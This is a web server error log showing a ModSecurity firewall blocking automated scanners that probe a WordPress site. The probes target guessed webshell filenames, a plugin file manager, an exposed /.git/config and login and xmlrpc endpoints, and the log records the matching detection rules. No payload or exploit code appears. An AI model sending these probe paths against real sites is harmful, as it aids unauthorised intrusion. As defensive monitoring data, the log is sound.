[Thu Feb 26 20:44:56.833830 2026] [:error] [pid 3883:tid 3901] [client 172.190.142.176:25106] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fot.php"] [unique_id "aaBASOA33x90V6yYHajUmQAAAU8"]
[Thu Feb 26 20:44:57.350901 2026] [:error] [pid 44444:tid 44454] [client 172.190.142.176:39135] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fot.php"] [unique_id "aaBASW2sMNmj-yekUk0NYQAAAgQ"]
[Thu Feb 26 20:44:58.083485 2026] [:error] [pid 55618:tid 55628] [client 172.190.142.176:20652] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fot.php"] [unique_id "aaBASh61Vrh12f_8oWQF8AAAAQc"]
[Thu Feb 26 20:44:58.596961 2026] [:error] [pid 55122:tid 55147] [client 172.190.142.176:38505] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fot.php"] [unique_id "aaBASoLiR0OfjFxvcN8quwAAANc"]
[Thu Feb 26 20:44:59.153484 2026] [:error] [pid 55618:tid 55641] [client 172.190.142.176:28214] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ff1.php"] [unique_id "aaBASx61Vrh12f_8oWQF9AAAARQ"]
[Thu Feb 26 20:44:59.818274 2026] [:error] [pid 55122:tid 55131] [client 172.190.142.176:38467] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ff1.php"] [unique_id "aaBAS4LiR0OfjFxvcN8qvwAAAMc"]
[Thu Feb 26 20:45:00.457429 2026] [:error] [pid 3883:tid 3893] [client 172.190.142.176:62407] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ff1.php"] [unique_id "aaBATOA33x90V6yYHajUngAAAUc"]
[Thu Feb 26 20:45:00.916260 2026] [:error] [pid 55122:tid 55140] [client 172.190.142.176:25122] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ff1.php"] [unique_id "aaBATILiR0OfjFxvcN8qwQAAANA"]
[Thu Feb 26 20:45:01.426701 2026] [:error] [pid 54990:tid 54999] [client 172.190.142.176:25095] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/forbidals.php"] [unique_id "aaBATXtr2qmt_mBhH2wk1AAAAAY"]
[Thu Feb 26 20:45:01.958013 2026] [:error] [pid 44444:tid 44466] [client 172.190.142.176:28221] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/forbidals.php"] [unique_id "aaBATW2sMNmj-yekUk0NaAAAAhA"]
[Thu Feb 26 20:45:02.411063 2026] [:error] [pid 55618:tid 55629] [client 172.190.142.176:57639] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/forbidals.php"] [unique_id "aaBATh61Vrh12f_8oWQF9QAAAQg"]
[Thu Feb 26 20:45:02.878714 2026] [:error] [pid 3883:tid 3894] [client 172.190.142.176:25136] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/forbidals.php"] [unique_id "aaBATuA33x90V6yYHajUpQAAAUg"]
[Thu Feb 26 20:45:03.483234 2026] [:error] [pid 3883:tid 3905] [client 172.190.142.176:55440] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/erty.php"] [unique_id "aaBAT-A33x90V6yYHajUpwAAAVM"]
[Thu Feb 26 20:45:04.013380 2026] [:error] [pid 54990:tid 55005] [client 172.190.142.176:38504] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/erty.php"] [unique_id "aaBAUHtr2qmt_mBhH2wk1wAAAAw"]
[Thu Feb 26 20:45:04.506754 2026] [:error] [pid 3883:tid 3889] [client 172.190.142.176:20671] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/erty.php"] [unique_id "aaBAUOA33x90V6yYHajUqgAAAUM"]
[Thu Feb 26 20:45:04.996482 2026] [:error] [pid 54990:tid 55009] [client 172.190.142.176:64195] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/erty.php"] [unique_id "aaBAUHtr2qmt_mBhH2wk2gAAABA"]
[Thu Feb 26 20:45:05.479553 2026] [:error] [pid 44444:tid 44469] [client 172.190.142.176:55486] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dev1s.php"] [unique_id "aaBAUW2sMNmj-yekUk0NbwAAAhM"]
[Thu Feb 26 20:45:06.054704 2026] [:error] [pid 44444:tid 44464] [client 172.190.142.176:64193] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dev1s.php"] [unique_id "aaBAUm2sMNmj-yekUk0NcQAAAg4"]
[Thu Feb 26 20:45:06.753076 2026] [:error] [pid 20419:tid 20426] [client 172.190.142.176:3146] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dev1s.php"] [unique_id "aaBAUu3DVDvMfTYYUBVPFwAAAcQ"]
[Thu Feb 26 20:45:07.271946 2026] [:error] [pid 3883:tid 3892] [client 172.190.142.176:55476] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dev1s.php"] [unique_id "aaBAU-A33x90V6yYHajUtAAAAUY"]
[Thu Feb 26 20:45:07.844117 2026] [:error] [pid 3883:tid 3894] [client 172.190.142.176:48826] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ffd.php"] [unique_id "aaBAU-A33x90V6yYHajUuAAAAUg"]
[Thu Feb 26 20:45:08.385224 2026] [:error] [pid 3883:tid 3903] [client 172.190.142.176:28530] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ffd.php"] [unique_id "aaBAVOA33x90V6yYHajUugAAAVE"]
[Thu Feb 26 20:45:08.928049 2026] [:error] [pid 3883:tid 3897] [client 172.190.142.176:30971] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ffd.php"] [unique_id "aaBAVOA33x90V6yYHajUvgAAAUs"]
[Thu Feb 26 20:45:09.432117 2026] [:error] [pid 25311:tid 25332] [client 172.190.142.176:64248] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ffd.php"] [unique_id "aaBAVdfdM__yZAgJFSvXFQAAAZI"]
[Thu Feb 26 20:57:36.400815 2026] [:error] [pid 25311:tid 25331] [client 136.144.43.156:40523] [client 136.144.43.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.43.156, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aaBDQNfdM__yZAgJFSvaggAAAZE"]
[Thu Feb 26 20:57:36.411008 2026] [proxy_fcgi:error] [pid 25311:tid 25331] [client 136.144.43.156:40523] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 22:01:24.775030 2026] [:error] [pid 55051:tid 55067] [client 157.245.196.99:55273] [client 157.245.196.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/profile-builder/readme.txt"] [unique_id "aaBSNAmK1w2kZvh5eLHCAgAAAI0"]
[Thu Feb 26 22:05:54.179066 2026] [:error] [pid 55051:tid 55068] [client 195.178.110.28:36602] [client 195.178.110.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aaBTQgmK1w2kZvh5eLHErwAAAI4"]
[Thu Feb 26 23:23:29.219122 2026] [proxy_fcgi:error] [pid 3883:tid 3902] [client 20.151.107.14:40094] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 23:23:29.441076 2026] [proxy_fcgi:error] [pid 3883:tid 3901] [client 20.151.107.14:40094] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 23:23:29.915804 2026] [proxy_fcgi:error] [pid 3883:tid 3887] [client 20.151.107.14:40094] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 23:23:30.125458 2026] [proxy_fcgi:error] [pid 3883:tid 3905] [client 20.151.107.14:40094] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 23:23:30.549534 2026] [proxy_fcgi:error] [pid 3883:tid 3896] [client 20.151.107.14:40094] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 23:23:30.760431 2026] [proxy_fcgi:error] [pid 3883:tid 3907] [client 20.151.107.14:40094] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 23:23:31.001312 2026] [proxy_fcgi:error] [pid 3883:tid 3888] [client 20.151.107.14:40094] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 23:23:31.429234 2026] [:error] [pid 3883:tid 3908] [client 20.151.107.14:40094] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaBlc-A33x90V6yYHagEMwAAAVY"]
[Thu Feb 26 23:23:39.362302 2026] [:error] [pid 3883:tid 3898] [client 20.151.107.14:40105] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaBle-A33x90V6yYHagEPQAAAUw"]
[Thu Feb 26 23:23:41.313340 2026] [:error] [pid 55051:tid 55068] [client 20.151.107.14:40107] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaBlfQmK1w2kZvh5eLHtIQAAAI4"]
[Thu Feb 26 23:23:44.150566 2026] [:error] [pid 54990:tid 54997] [client 20.151.107.14:40104] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaBlgHtr2qmt_mBhH2w2NgAAAAQ"]
[Fri Feb 27 00:37:47.045745 2026] [:error] [pid 18843:tid 18945] [client 37.67.74.207:17706] [client 37.67.74.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.67.74.207, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaB22yuD2bhSYSowPs3n2AAAAQU"]
[Fri Feb 27 00:37:47.060937 2026] [proxy_fcgi:error] [pid 18843:tid 18945] [client 37.67.74.207:17706] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 01:14:15.535717 2026] [:error] [pid 18843:tid 18941] [client 143.198.86.151:59790] [client 143.198.86.151] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.86.151, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaB_ZyuD2bhSYSowPs315AAAAQE"], referer: https://agofirerescue.com//wp-login.php
[Fri Feb 27 01:14:15.563194 2026] [proxy_fcgi:error] [pid 18843:tid 18941] [client 143.198.86.151:59790] AH01071: Got error 'Primary script unknown', referer: https://agofirerescue.com//wp-login.php
[Fri Feb 27 01:36:23.855875 2026] [proxy_fcgi:error] [pid 19020:tid 19046] [client 68.183.194.94:60028] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 01:38:04.452365 2026] [proxy_fcgi:error] [pid 18831:tid 18913] [client 68.183.194.94:60628] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 01:38:16.570643 2026] [proxy_fcgi:error] [pid 20059:tid 20110] [client 68.183.194.94:61163] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 01:38:23.017975 2026] [proxy_fcgi:error] [pid 20059:tid 20104] [client 68.183.194.94:61625] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 01:38:26.945188 2026] [proxy_fcgi:error] [pid 20059:tid 20113] [client 68.183.194.94:61961] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 01:38:28.768338 2026] [proxy_fcgi:error] [pid 20059:tid 20104] [client 68.183.194.94:61961] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 01:38:30.810491 2026] [proxy_fcgi:error] [pid 20059:tid 20119] [client 68.183.194.94:61961] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 01:38:31.796736 2026] [proxy_fcgi:error] [pid 20059:tid 20124] [client 68.183.194.94:61961] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 01:38:34.476476 2026] [proxy_fcgi:error] [pid 20059:tid 20123] [client 68.183.194.94:61961] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 01:38:36.217608 2026] [proxy_fcgi:error] [pid 20059:tid 20106] [client 68.183.194.94:61961] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 01:38:37.120131 2026] [proxy_fcgi:error] [pid 20059:tid 20125] [client 68.183.194.94:61961] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 01:38:38.165524 2026] [proxy_fcgi:error] [pid 20059:tid 20115] [client 68.183.194.94:61961] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 01:38:39.879266 2026] [:error] [pid 20059:tid 20121] [client 68.183.194.94:61961] [client 68.183.194.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "aaCFH5ZBS5wIa_NsqsgLIgAAAdM"]
[Fri Feb 27 01:38:41.997742 2026] [:error] [pid 19020:tid 19032] [client 68.183.194.94:62687] [client 68.183.194.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "aaCFIbN3kp7wL6QzPnUjsgAAAUo"]
[Fri Feb 27 01:38:44.774960 2026] [:error] [pid 20059:tid 20111] [client 68.183.194.94:62816] [client 68.183.194.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "aaCFJJZBS5wIa_NsqsgLNAAAAck"]
[Fri Feb 27 01:38:48.268149 2026] [:error] [pid 20059:tid 20111] [client 68.183.194.94:63021] [client 68.183.194.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aaCFKJZBS5wIa_NsqsgLRgAAAck"]
[Fri Feb 27 01:38:51.915345 2026] [:error] [pid 19020:tid 19042] [client 68.183.194.94:63129] [client 68.183.194.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/settings.php"] [unique_id "aaCFK7N3kp7wL6QzPnUjvAAAAVQ"]
[Fri Feb 27 01:38:55.373201 2026] [:error] [pid 19020:tid 19041] [client 68.183.194.94:63347] [client 68.183.194.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/settings.php"] [unique_id "aaCFL7N3kp7wL6QzPnUjxgAAAVM"]
[Fri Feb 27 01:39:31.858987 2026] [:error] [pid 20059:tid 20111] [client 68.183.194.94:63585] [client 68.183.194.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/setup.php"] [unique_id "aaCFU5ZBS5wIa_NsqsgL1wAAAck"]
[Fri Feb 27 01:39:33.467641 2026] [:error] [pid 18818:tid 18901] [client 68.183.194.94:63741] [client 68.183.194.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/setup.php"] [unique_id "aaCFVRhPgqk2SeS_W83B7QAAABE"]
[Fri Feb 27 01:39:35.866056 2026] [:error] [pid 19020:tid 19023] [client 68.183.194.94:63795] [client 68.183.194.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/setup.php"] [unique_id "aaCFV7N3kp7wL6QzPnUkHAAAAUE"]
[Fri Feb 27 02:53:42.018145 2026] [proxy_fcgi:error] [pid 19020:tid 19026] [client 20.220.165.49:43995] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 03:42:07.802617 2026] [proxy_fcgi:error] [pid 18843:tid 18945] [client 104.208.116.225:9050] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 03:42:07.929262 2026] [proxy_fcgi:error] [pid 18843:tid 18955] [client 104.208.116.225:9050] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 03:42:08.184736 2026] [proxy_fcgi:error] [pid 18843:tid 18942] [client 104.208.116.225:9050] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 03:42:08.310443 2026] [proxy_fcgi:error] [pid 18843:tid 18951] [client 104.208.116.225:9050] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 03:42:08.561826 2026] [proxy_fcgi:error] [pid 18843:tid 18948] [client 104.208.116.225:9050] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 03:42:08.686215 2026] [proxy_fcgi:error] [pid 18843:tid 18950] [client 104.208.116.225:9050] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 03:42:08.819487 2026] [proxy_fcgi:error] [pid 18843:tid 18959] [client 104.208.116.225:9050] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 03:42:09.085893 2026] [:error] [pid 18843:tid 18956] [client 104.208.116.225:9050] [client 104.208.116.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaCiESuD2bhSYSowPs044QAAARA"]
[Fri Feb 27 03:42:09.619603 2026] [:error] [pid 20059:tid 20124] [client 104.208.116.225:9010] [client 104.208.116.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaCiEZZBS5wIa_NsqsiH0wAAAdY"]
[Fri Feb 27 03:42:10.104118 2026] [:error] [pid 20059:tid 20105] [client 104.208.116.225:4869] [client 104.208.116.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaCiEpZBS5wIa_NsqsiH2AAAAcM"]
[Fri Feb 27 03:42:10.593410 2026] [:error] [pid 20059:tid 20114] [client 104.208.116.225:9022] [client 104.208.116.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaCiEpZBS5wIa_NsqsiH2gAAAcw"]
[Fri Feb 27 04:18:20.822355 2026] [:error] [pid 4081:tid 4092] [client 20.48.148.227:52097] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaCqjA55mnr35z8h7t3GDwAAAMk"]
